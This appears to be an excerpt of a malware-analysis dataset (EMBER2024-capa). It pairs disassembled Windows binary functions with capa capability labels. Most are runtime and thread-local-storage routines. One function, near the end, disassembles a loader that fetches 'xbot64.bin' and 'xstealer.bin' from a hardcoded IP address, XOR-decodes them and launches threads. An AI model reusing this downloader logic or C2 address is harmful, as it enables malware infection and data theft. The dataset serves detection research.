joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000e080
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400198e0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400198e0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14000e0f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14017d094]
mov rbx, rcx
test esi, esi
jle 0x14000e220
mov rax, qword [0x14017d098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000e13b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000e1c5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000e120
mov rcx, rbx
call fcn.14000eba0
mov rdi, rax
test rax, rax
je 0x14000e242
mov rax, qword [0x14017d098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000ece0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14017d098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000e227
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000e1be
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14000e1d0
add dword [0x14017d094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14017d098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000e1be
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000e080
nop dword [rax]
xor esi, esi
jmp 0x14000e148
mov rax, qword [0x14017d098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000e080
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000e080
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000e7e0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14017d100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14017d0e0]
test rbx, rbx
je 0x14000e844
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word cs:[rax + rax]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000e83b
test eax, eax
jne 0x14000e83b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000e820
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000eba0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140155ec0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000ebc0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000ebc8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000ebc0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000ec1d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000ec14
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000ebc0
add rax, 0x28
cmp rax, r9
jne 0x14000ec00
xor eax, eax
ret

Function at 0x14000ec20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140155ec0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000ec3f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000ec48
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000ec3f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000ece0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140155ec0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000ecff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000ed08
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x14000fac0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov ecx, 2
mov r8d, 0x2d
lea rdx, str._buffer_overflow_detected_:_terminated_n
call sub.msvcrt.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x14000faf0
mov ecx, 8
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x14000fb10
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov ecx, 2
mov r8d, 0x2c
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.msvcrt.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x14000fb40
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x14001bfd0
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp dword [0x14017dc40], 1
je 0x14001c070
lea rdi, [0x14017dc40]
mov rcx, rdi
call fcn.14001b940
lea rbp, [rax + 8]
mov rbx, rax
mov rcx, rbp
call fcn.14001b220
mov esi, dword [0x14017dc40]
test esi, esi
jne 0x14001c048
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x1400cb328], eax
cmp eax, 0xffffffff
je 0x1400c9f46
mov dword [0x14017dc40], 1
mov rcx, rbp
call fcn.14001b4f0
mov rcx, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp fcn.14001bc30
cmp esi, 1
je 0x14001c02c
mov ecx, 2
call qword [fcn.1400198e0]
mov r9d, esi
mov r8, rdi
lea rdx, str._once__p_is__ld_n
mov rcx, rax
call sub.msvcrt.dll_fprintf
jmp 0x14001c02c
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
mov rax, qword [0x28]
ud2

Function at 0x14001c080
Capabilities:
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
call fcn.14001bd60
mov rbx, rax
test rax, rax
je 0x14001c17c
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx + 0x70], eax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call fcn.14001b810
cmp eax, 1
je 0x14001c188
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rsi, rax
call rbp
mov dword [rsp + 0x30], 2
mov r8, rdi
mov rdx, rsi
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x1400c9f4c
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [0x1400cb328]
mov rdx, rbx
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x1400c9f4c
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.14001bba0
nop
nop

Function at 0x14001c190
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001c1b0
add rsp, 0x28
ret
add rsp, 0x28
jmp fcn.14001c080
Function at 0x14001c970
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov r12, qword [0x140155fd0]
mov rax, qword [r12]
mov qword [rsp + 0x38], rax
mov eax, dword [rcx]
mov rbx, rcx
mov rsi, rdx
test rdx, rdx
je 0x14001cad0
cmp eax, 1
je 0x14001c9d5
call fcn.14001b940
lea r13, [rax + 8]
mov rdi, rax
mov rcx, r13
call fcn.14001b220
mov ebp, dword [rbx]
test ebp, ebp
je 0x14001c9f8
cmp ebp, 1
jne 0x14001ca98
mov rcx, r13
call fcn.14001b4f0
mov rcx, rdi
call fcn.14001bc30
xor eax, eax
mov rdx, qword [rsp + 0x38]
sub rdx, qword [r12]
jne 0x14001cb1b
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea rax, [0x14001bd30]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rbp
test rax, rax
je 0x14001cb08
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x30], rax
lock or qword [rsp], 0
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call rbp
test rax, rax
je 0x14001caf0
lea rdx, [rsp + 0x20]
mov qword [rax + 0x18], rdx
lock or qword [rsp], 0
call rsi
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call rbp
test rax, rax
je 0x14001cae0
mov rdx, qword [rsp + 0x30]
mov rcx, r13
mov qword [rax + 0x18], rdx
mov dword [rbx], 1
call fcn.14001b4f0
mov rcx, rdi
call fcn.14001bc30
jmp 0x14001c9d5
mov ecx, 2
call qword [fcn.1400198e0]
mov r9d, ebp
mov r8, rbx
lea rdx, str._once__p_is__ld_n
mov rcx, rax
call sub.msvcrt.dll_fprintf
mov rcx, r13
call fcn.14001b4f0
mov rcx, rdi
call fcn.14001bc30
jmp 0x14001c9d5
mov eax, 0x16
jmp 0x14001c9d7
call fcn.14001c080
test rax, rax
jne 0x14001ca6e
jmp 0x1400c9f7e
call fcn.14001c080
test rax, rax
jne 0x14001ca4b
jmp 0x1400c9f6f
call fcn.14001c080
test rax, rax
jne 0x14001ca26
jmp 0x1400c9f65
call fcn.14000fb10
nop
nop word cs:[rax + rax]
nop dword [rax]
mov rax, qword [pe_dos_header]
ud2
lea rax, [rsp + 0x20]
mov qword [0], rax
ud2
mov rax, qword [rsp + 0x30]
mov qword [0], rax
ud2

Function at 0x14001cdb0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov esi, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x14001ce28
lea rbp, [rbx + 0x68]
xor r12d, r12d
mov rcx, rbp
call fcn.14001b820
cmp esi, dword [rbx + 0x48]
jae 0x14001ce03
mov rax, qword [rbx + 0x58]
cmp byte [rax + rsi], 0
je 0x14001ce03
mov rax, qword [rbx + 0x50]
mov r12, qword [rax + rsi*8]
mov rcx, rbp
call fcn.14001b880
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call fcn.14001c080
mov rbx, rax
jmp 0x14001cddd
Function at 0x14001ce40
Capabilities:
Get thread local storage value

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov esi, ecx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x14001cf38
lea r13, [rbx + 0x68]
mov rcx, r13
call fcn.14001b820
mov rdi, qword [rbx + 0x50]
cmp esi, dword [rbx + 0x48]
jb 0x14001cf03
lea r15d, [rsi + 1]
mov rcx, rdi
movsxd r14, r15d
lea rdx, [r14*8]
call sub.msvcrt.dll_realloc
mov rdi, rax
test rax, rax
je 0x14001cf45
mov rcx, qword [rbx + 0x58]
mov rdx, r14
call sub.msvcrt.dll_realloc
mov r14, rax
test rax, rax
je 0x14001cf45
mov eax, dword [rbx + 0x48]
mov edx, r15d
sub edx, eax
lea rcx, [rdi + rax*8]
lea r8, [rdx*8]
xor edx, edx
call sub.msvcrt.dll_memset
mov ecx, dword [rbx + 0x48]
mov r8d, r15d
xor edx, edx
mov rax, rcx
add rcx, r14
sub r8d, eax
call sub.msvcrt.dll_memset
mov qword [rbx + 0x50], rdi
mov qword [rbx + 0x58], r14
mov dword [rbx + 0x48], r15d
mov qword [rdi + rsi*8], r12
mov rax, qword [rbx + 0x58]
mov rcx, r13
mov byte [rax + rsi], 1
call fcn.14001b880
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
call fcn.14001c080
mov rbx, rax
jmp 0x14001ce7a
mov rcx, r13
call fcn.14001b880
mov eax, 0xc
jmp 0x14001cf21

Function at 0x14001cfe0
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001d008
mov rax, qword [rax + 0x30]
add rsp, 0x28
ret
call fcn.14001c080
test rax, rax
jne 0x14001cffa
add rsp, 0x28
ret

Function at 0x14001d070
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001d098
add rax, 0x18
add rsp, 0x28
ret
call fcn.14001c080
test rax, rax
jne 0x14001d08a
jmp 0x14001d08e

Function at 0x14001d1b0
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov eax, dword [0x14017dc48]
test eax, eax
jne 0x14001d1c8
xor eax, eax
add rsp, 0x28
ret
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001d1f8
mov edx, dword [rax + 0x20]
test edx, edx
jg 0x14001d1be
test byte [rax + 0x40], 3
je 0x14001d1be
mov eax, dword [rax + 0x44]
and eax, 1
jmp 0x14001d1c0
call fcn.14001c080
test rax, rax
je 0x14001d1be
jmp 0x14001d1de

Function at 0x14001d210
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, ecx
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001d250
test ebx, ebx
jle 0x14001d240
lock add dword [rax + 0x20], 1
add rsp, 0x20
pop rbx
ret
lock sub dword [rax + 0x20], 1
add rsp, 0x20
pop rbx
ret
call fcn.14001c080
test rax, rax
jne 0x14001d22d
add rsp, 0x20
pop rbx
ret
Function at 0x14001d350
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x14001d3c8
test byte [rbx + 0x40], 0xc
jne 0x14001d37f
mov eax, dword [0x14017dc48]
test eax, eax
jne 0x14001d390
add rsp, 0x28
pop rbx
pop rsi
ret
lea rsi, [rbx + 0x38]
mov rcx, rsi
call fcn.14001b220
movzx eax, byte [rbx + 0x40]
test al, 3
je 0x14001d3b3
mov edx, dword [rbx + 0x44]
test dl, 1
je 0x14001d3b3
mov ecx, dword [rbx + 0x20]
test ecx, ecx
jle 0x14001d3dc
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.14001b4f0
call fcn.14001c080
mov rbx, rax
test rax, rax
jne 0x14001d36f
add rsp, 0x28
pop rbx
pop rsi
ret
and eax, 0xfffffff3
mov rcx, qword [rbx + 0x30]
and edx, 0xfffffffe
or eax, 4
mov dword [rbx + 0x44], edx
mov byte [rbx + 0x40], al
test rcx, rcx
je 0x14001d3fa
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rsi
call fcn.14001b4f0
call fcn.14001d260
nop
nop dword [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
je 0x14001d478
call fcn.14001aee0
mov rsi, rax
mov eax, 0xffffffff
cmp rsi, rax
cmovbe rax, rsi
mov rdi, rax
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x14001d4c0
test rsi, rsi
je 0x14001d48e
call fcn.14001d350
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001d4b0
mov edx, edi
call fcn.14001afb0
call fcn.14001d350
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001d4d0
call fcn.14001d350
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001d350
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001d466
call fcn.14001c080
mov rbx, rax
jmp 0x14001d44c
call fcn.14001c080
jmp 0x14001d48e
Function at 0x14001d410
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x14001d3c8
test byte [rbx + 0x40], 0xc
jne 0x14001d37f
mov eax, dword [0x14017dc48]
test eax, eax
jne 0x14001d390
add rsp, 0x28
pop rbx
pop rsi
ret
lea rsi, [rbx + 0x38]
mov rcx, rsi
call fcn.14001b220
movzx eax, byte [rbx + 0x40]
test al, 3
je 0x14001d3b3
mov edx, dword [rbx + 0x44]
test dl, 1
je 0x14001d3b3
mov ecx, dword [rbx + 0x20]
test ecx, ecx
jle 0x14001d3dc
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.14001b4f0
call fcn.14001c080
mov rbx, rax
test rax, rax
jne 0x14001d36f
add rsp, 0x28
pop rbx
pop rsi
ret
and eax, 0xfffffff3
mov rcx, qword [rbx + 0x30]
and edx, 0xfffffffe
or eax, 4
mov dword [rbx + 0x44], edx
mov byte [rbx + 0x40], al
test rcx, rcx
je 0x14001d3fa
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rsi
call fcn.14001b4f0
call fcn.14001d260
nop
nop dword [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
je 0x14001d478
call fcn.14001aee0
mov rsi, rax
mov eax, 0xffffffff
cmp rsi, rax
cmovbe rax, rsi
mov rdi, rax
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x14001d4c0
test rsi, rsi
je 0x14001d48e
call fcn.14001d350
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001d4b0
mov edx, edi
call fcn.14001afb0
call fcn.14001d350
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001d4d0
call fcn.14001d350
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001d350
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001d466
call fcn.14001c080
mov rbx, rax
jmp 0x14001d44c
call fcn.14001c080
jmp 0x14001d48e

Function at 0x14001d4e0
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov esi, ecx
call fcn.14001bfd0
mov ecx, dword [0x1400cb328]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x14001d550
test esi, esi
je 0x14001d530
call fcn.14001d350
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001d560
mov edx, esi
call fcn.14001afb0
call fcn.14001d350
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.14001d350
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001d350
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.14001c080
mov rbx, rax
jmp 0x14001d501
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001d51a
Function at 0x14008e970
Capabilities:
Read file on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbp, qword [sym.imp.msvcrt.dll__read]
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, rdi
call fcn.14008e780
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call rbp
movsxd r13, eax
cmp eax, 0xffffffff
je 0x14008e9c0
mov rax, r13
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
call r12
cmp dword [rax], 4
je 0x14008e993
mov rax, r13
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x1800024b0
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov rdi, rcx
cmp dword [rcx + 0xc], ebx
jbe 0x1800024fc
mov rax, qword [rdi]
xor edx, edx
mov r8d, dword [rax + rbx*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1800024f5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [rdi + 0xc]
jb case.default.0x180002517
mov r8, qword [rdi]
mov rcx, qword [0x18003e7c8]
xor edx, edx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lodsb al, byte [rsi]
mov edi, 0x40
add byte [rax], al
invalid
Function at 0x18000d88c
Capabilities:
Check mutex on windows

Disassembly:
push rbx
sub rsp, 0x20
lea r8, str.rbNSpGEsyb
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x18000d8c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x18000d8c8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x18000d8ca
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x18000d8d8
Capabilities:
Create thread
Encode data using xor

Disassembly:
push rbx
sub rsp, 0xb0
lea rdx, [0x180014060]
lea rcx, [rsp + 0x30]
call fcn.180001a8c
lea rdx, str.http:__176.111.174.140_api_xbot64.bin
lea rcx, [rsp + 0x50]
mov rbx, rax
call fcn.180001a8c
lea r8, [0x18003e7c4]
mov rcx, rax
mov rdx, rbx
call fcn.18000e6bc
lea rdx, [0x180014100]
lea rcx, [rsp + 0x70]
mov qword [0x18003e7b0], rax
call fcn.180001a8c
lea rdx, str.http:__176.111.174.140_api_xstealer.bin
lea rcx, [rsp + 0x90]
mov rbx, rax
call fcn.180001a8c
lea r8, [0x18003e7c0]
mov rdx, rbx
mov rcx, rax
call fcn.18000e6bc
mov edx, dword [0x18003e7c4]
mov rcx, qword [0x18003e7b0]
xor ebx, ebx
mov qword [0x18003e7b8], rax
test rdx, rdx
je 0x18000d97f
xor byte [rcx], 0xaa
inc rcx
dec rdx
jne 0x18000d974
mov ecx, dword [0x18003e7c0]
test rcx, rcx
je 0x18000d995
xor byte [rax], 0xaa
inc rax
dec rcx
jne 0x18000d98a
lea r8, [0x18000dacc]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [0x18000daa0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1800026e8
cmp qword [0x18003e7c8], rbx
jne 0x18000d9f1
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov qword [0x18003e7c8], rax
mov eax, ebx
lea rcx, str.Kernel32.dll
xchg dword [0x18003e7d0], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18000da28
lea rdx, [0x1800141a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000da28
mov rcx, rax
call fcn.180002728
lea rcx, str.KernelBase.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18000da57
lea rdx, str.CreateProcessInternalW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000da57
mov rcx, rax
call fcn.180002728
call fcn.1800026e8
cmp qword [0x18003e7c8], rbx
je 0x18000da6f
mov ecx, 1
call fcn.180002620
xchg dword [0x18003e7d0], ebx
xor eax, eax
add rsp, 0xb0
pop rbx
ret